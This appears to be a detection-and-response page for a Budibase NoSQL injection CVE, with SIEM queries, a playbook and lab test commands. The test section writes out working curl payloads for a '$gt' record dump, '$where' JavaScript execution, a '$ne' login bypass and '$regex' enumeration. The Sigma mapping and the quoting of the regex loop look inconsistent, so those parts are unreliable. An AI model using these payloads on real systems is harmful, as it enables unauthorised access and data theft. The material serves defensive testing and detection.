CVE-2026-54350

Budibase Anonymous NoSQL Operator Injection via Published-App Query Templates

CVE-2026-54350 is a critical (CVSS 10.0) NoSQL operator injection vulnerability in @budibase/server versions prior to 3.39.12. Unauthenticated attackers can inject MongoDB-style operators (e.g., $gt, $where, $regex) into published-app query templates, bypassing authentication and data access controls. Successful exploitation can lead to full database exfiltration, authentication bypass, and remote code execution via $where clauses. A public PoC is available.

Vulnerability Intelligence

Public PoC

Affected Software

Vendor
npm
Product
@budibase/server
Versions
< 3.39.12

Weakness (CWE)

Timeline

Disclosed
June 23, 2026

CVSS

10.0
Critical (9.0–10)
CVSS vector not yet published
Read the write-up →

What is CVE-2026-54350 Budibase Anonymous NoSQL Operator Injection via Published-App Query Templates?

Budibase Anonymous NoSQL Operator Injection via Published-App Query Templates (CVE-2026-54350) maps to the Initial Access and Credential Access and Discovery and Collection tactics — the adversary is trying to get into your network in MITRE ATT&CK.

This page provides production-ready detection logic for Budibase Anonymous NoSQL Operator Injection via Published-App Query Templates, covering the data sources and telemetry it touches: CommonSecurityLog, AzureDiagnostics, WAF Logs, Reverse Proxy Logs. The queries below are rated critical severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.

MITRE ATT&CK

Tactic
Initial Access Credential Access Discovery Collection
Microsoft Sentinel / Defender
kusto
let BudibaseHosts = dynamic([]);
let NoSQLOperators = dynamic(["$gt", "$gte", "$lt", "$lte", "$ne", "$in", "$nin", "$exists", "$where", "$regex", "$elemMatch", "$or", "$and", "$not", "$nor"]);
let lookback = 24h;
union isfuzzy=true
(
  CommonSecurityLog
  | where TimeGenerated >= ago(lookback)
  | where DeviceProduct has_any ("nginx", "apache", "budibase")
  | where RequestURL has "/api/public/v1/queries" or RequestURL has "/app/" 
  | where RequestContext has_any (NoSQLOperators) or AdditionalExtensions has_any (NoSQLOperators)
  | extend InjectionOperator = extract(@"(\$(?:gt|gte|lt|lte|ne|in|nin|exists|where|regex|elemMatch|or|and|not|nor))", 1, coalesce(RequestContext, AdditionalExtensions))
  | project TimeGenerated, SourceIP, RequestURL, RequestMethod, InjectionOperator, DeviceProduct
),
(
  AzureDiagnostics
  | where TimeGenerated >= ago(lookback)
  | where Category == "ApplicationGatewayAccessLog"
  | where requestUri_s has "/api/public/v1/queries" or requestUri_s has "/api/v1/queries"
  | where requestQuery_s has_any (NoSQLOperators) or Message has_any (NoSQLOperators)
  | extend InjectionOperator = extract(@"(\$(?:gt|gte|lt|lte|ne|in|nin|exists|where|regex|elemMatch|or|and|not|nor))", 1, coalesce(requestQuery_s, Message))
  | project TimeGenerated, clientIP_s, requestUri_s, httpMethod_s, InjectionOperator
)
| summarize AttemptCount=count(), Operators=make_set(InjectionOperator), RequestPaths=make_set(coalesce(RequestURL, requestUri_s)) by SourceIP=coalesce(SourceIP, clientIP_s), bin(TimeGenerated, 5m)
| where AttemptCount >= 1
| extend RiskScore = case(Operators has "$where", "CRITICAL", array_length(Operators) >= 3, "HIGH", "MEDIUM")
| order by AttemptCount desc

Detects NoSQL operator injection attempts against Budibase published-app query endpoints by scanning HTTP request bodies and query strings for MongoDB operator keywords. Aggregates by source IP with a risk score based on operator diversity.

critical severity high confidence

Data Sources

CommonSecurityLog AzureDiagnostics WAF Logs Reverse Proxy Logs

Required Tables

CommonSecurityLog AzureDiagnostics

False Positives

  • Legitimate application query parameters that coincidentally contain strings like '$gt' in field names or values
  • Security scanners or vulnerability assessment tools performing authorized testing against Budibase instances
  • Internal development or QA environments testing query functionality with MongoDB operators
  • GraphQL or other API frameworks that use $ prefixed variables in request bodies

Sigma rule & cross-platform mapping

The detection logic for Budibase Anonymous NoSQL Operator Injection via Published-App Query Templates (CVE-2026-54350) above is provided in a vendor-neutral form so you can deploy it on any SIEM. The same logic is shipped here as native KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the following logsource:

logsource:
  category: network_connection
  product: windows

Browse the community-maintained Sigma rules for this technique:


Testing Methodology

Validate this detection against 4 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.

  1. Test 1Basic NoSQL Operator Injection via Budibase Published Query API

    Expected signal: HTTP POST request to /api/public/v1/queries/{id} with JSON body containing '$gt' operator visible in web proxy logs or network capture

  2. Test 2JavaScript Execution via $where NoSQL Operator (RCE Path)

    Expected signal: HTTP POST with '$where' string in request body; potentially elevated response time if JavaScript executes; MongoDB slow query log entry if profiling enabled

  3. Test 3Authentication Bypass via $ne Operator on User Collection Query

    Expected signal: POST request to Budibase query endpoint with $ne operators in both username and password fields; HTTP 200 response with user record(s) returned if vulnerable

  4. Test 4Data Exfiltration via $regex Operator Enumeration

    Expected signal: Series of POST requests to same Budibase query endpoint with varying $regex patterns; observable as repeated requests with incrementing operator values in proxy logs


Response Playbook

Triage

  1. Identify the source IP(s) and user agents in the injection attempt logs; cross-reference against known scanners (Shodan, Censys bots) and threat intelligence feeds to determine if this is opportunistic scanning or targeted exploitation.
  2. Determine if the Budibase instance is publicly exposed (check firewall rules, reverse proxy configs, and DNS records for the affected host). Public exposure with a PoC available (GHSA-8qv3-p479-cj62) dramatically increases risk.
  3. Check the Budibase server version immediately: inspect package.json or run `npm list @budibase/server` on the host. If version is < 3.39.12, treat as actively exploitable and escalate to Sev1.
  4. Review Budibase application logs for anomalous query results, large data responses, or $where operator usage which may indicate JavaScript execution. Look for unusual response sizes that may indicate data exfiltration.

Containment

  1. If exploitation is confirmed or the instance is unpatched and publicly exposed, immediately block the attacker's IP(s) at the perimeter firewall or WAF, and if necessary place the Budibase service behind a VPN or IP allowlist until patching is complete.
  2. Deploy WAF rules to block requests containing NoSQL operator patterns ($gt, $where, $regex, etc.) in request bodies and query strings targeting Budibase API paths as an immediate compensating control prior to patching.

Evidence Collection

  1. Export full web server/reverse proxy access logs for the affected Budibase instance covering at least 7 days prior to detection, preserving original log files with timestamps and capturing all requests to /api/public/v1/queries and /api/v1/queries endpoints.
  2. Capture MongoDB (or underlying database) query logs if enabled, looking for operator injection artifacts ($where JavaScript execution, unexpected $regex patterns, or abnormally broad $gt/$lt range queries). Export slow query logs which may reveal data exfiltration attempts.

Escalation Criteria

  • ! Escalate immediately to Sev1/CISO if HTTP 200 responses are observed following injection attempts (indicating successful exploitation), or if $where operator usage is detected (enabling potential server-side JavaScript RCE).
  • ! Escalate if database query logs show evidence of unauthorized data access, bulk record retrieval, or authentication bypass resulting from the injection — particularly if the Budibase instance handles PII, credentials, or internal business data.

Investigation Guide

Forensic Artifacts

  • > Web server access logs showing POST/GET requests to /api/public/v1/queries with $-prefixed operator strings in body or query parameters
  • > MongoDB query logs (if mongod --profile=1 enabled) showing injected operator queries executed against collections
  • > Budibase application logs in /var/log/budibase/ or Docker container stdout showing query execution errors or unexpected result sets
  • > Network PCAP captures showing HTTP request/response pairs where small injection requests yield unusually large data responses (indicative of full collection dump)

Tuning Guidance

Reduce false positives by baselining legitimate Budibase API consumers and creating allowlist entries for known internal service IPs. If your organization uses Budibase with MongoDB and complex filter objects are normal in your application, narrow the detection to focus specifically on unauthenticated requests (no session cookie or Authorization header) or on $where operator usage exclusively (highest risk, lowest legitimate use). For environments with WAF logs that capture request bodies, prioritize body-based matching over URL matching. Increase confidence thresholds by correlating injection attempts with HTTP 200 status codes and unusually large response payloads (>10KB for query API endpoints).


Hunting Queries

30-day historical hunt across web logs for any prior NoSQL operator injection attempts against Budibase query endpoints that may predate the detection rule deployment. Identifies previously undetected compromise attempts and establishes attacker dwell time.

Hunting — KQL
kql
CommonSecurityLog
| where TimeGenerated >= ago(30d)
| where RequestURL has "/api/public/v1/queries" or RequestURL has "/api/v1/queries"
| where RequestContext has "$" 
| extend PotentialOperator = extract(@"(\$[a-zA-Z]+)", 1, RequestContext)
| where PotentialOperator in ("$gt", "$gte", "$lt", "$lte", "$ne", "$in", "$nin", "$exists", "$where", "$regex", "$or", "$and")
| summarize FirstSeen=min(TimeGenerated), LastSeen=max(TimeGenerated), Count=count(), Operators=make_set(PotentialOperator) by SourceIP
| order by Count desc
Hunting — SPL
spl
index=web sourcetype IN ("access_combined", "nginx:access") 
| rex field=_raw "(?P<body_snippet>\{[^}]*\$[a-z]+[^}]*\})"
| where match(uri_path, "/api/(?:public/)?v1/queries")
| rex field=body_snippet max_match=5 "(?P<op>\$(?:gt|gte|lt|lte|ne|in|nin|exists|where|regex|or|and))"
| stats earliest(_time) as first_seen, latest(_time) as last_seen, count as hits, values(op) as operators, values(status) as response_codes by clientip
| where hits >= 1
| eval days_active = round((last_seen - first_seen) / 86400, 1)
| sort - hits

Atomic Red Team Tests

Test 1 Basic NoSQL Operator Injection via Budibase Published Query API
linux

Simulates an unauthenticated attacker sending a NoSQL operator injection payload to a Budibase published-app query endpoint to bypass data filtering and retrieve all records

Command

bash
curl -s -X POST 'http://TARGET_BUDIBASE_HOST/api/public/v1/queries/QUERY_ID' -H 'Content-Type: application/json' -d '{"parameters": {"filter": {"_id": {"$gt": ""}}}}'

Cleanup

bash
No cleanup required — read-only injection test against lab Budibase instance

Expected Telemetry

HTTP POST request to /api/public/v1/queries/{id} with JSON body containing '$gt' operator visible in web proxy logs or network capture

Expected Detection

Detection rule triggers on '$gt' operator in request body to Budibase query API endpoint; alert generated within 5-minute aggregation window

Test 2 JavaScript Execution via $where NoSQL Operator (RCE Path)
linux

Tests the highest-severity exploitation path: injecting a $where clause containing JavaScript to achieve server-side code execution through MongoDB's JavaScript engine

Command

bash
curl -s -X POST 'http://TARGET_BUDIBASE_HOST/api/public/v1/queries/QUERY_ID' -H 'Content-Type: application/json' -d '{"parameters": {"filter": {"$where": "function() { return true; }"}}}'

Cleanup

bash
No cleanup required — lab environment only; ensure MongoDB $where/JavaScript is disabled in production via --noscripting flag

Expected Telemetry

HTTP POST with '$where' string in request body; potentially elevated response time if JavaScript executes; MongoDB slow query log entry if profiling enabled

Expected Detection

Detection rule triggers with CRITICAL risk score on '$where' operator detection; should generate priority-1 alert in SIEM due to RCE potential

Test 3 Authentication Bypass via $ne Operator on User Collection Query
linux

Simulates authentication bypass by injecting $ne (not-equal) operator to match any record, potentially bypassing credential validation in Budibase query templates that check for specific values

Command

bash
curl -s -X POST 'http://TARGET_BUDIBASE_HOST/api/public/v1/queries/AUTH_QUERY_ID' -H 'Content-Type: application/json' -d '{"parameters": {"username": {"$ne": null}, "password": {"$ne": null}}}'

Cleanup

bash
Review any sessions created during testing in Budibase admin panel and revoke; no persistent changes to database expected

Expected Telemetry

POST request to Budibase query endpoint with $ne operators in both username and password fields; HTTP 200 response with user record(s) returned if vulnerable

Expected Detection

Multiple NoSQL operators ($ne) in single request triggers HIGH severity detection; correlation with HTTP 200 response should auto-escalate to CRITICAL

Test 4 Data Exfiltration via $regex Operator Enumeration
linux

Tests data exfiltration through regex-based enumeration — attacker iterates $regex patterns to extract sensitive field values character by character from Budibase-connected database

Command

bash
for char in a b c d e f 1 2 3 4; do curl -s -X POST 'http://TARGET_BUDIBASE_HOST/api/public/v1/queries/QUERY_ID' -H 'Content-Type: application/json' -d "{\"parameters\": {\"filter\": {\"\$regex\": \"^${char}\"}}}\" | python3 -c \"import sys, json; data=json.load(sys.stdin); print(f'${char}: {len(data.get(\"data\", []))} matches')\"; done

Cleanup

bash
No persistent changes; ensure lab MongoDB does not contain real PII before running enumeration test

Expected Telemetry

Series of POST requests to same Budibase query endpoint with varying $regex patterns; observable as repeated requests with incrementing operator values in proxy logs

Expected Detection

Pattern of repeated requests with $regex operator from same IP within short timeframe triggers detection; response size variation across requests provides exfiltration signal

Related Detections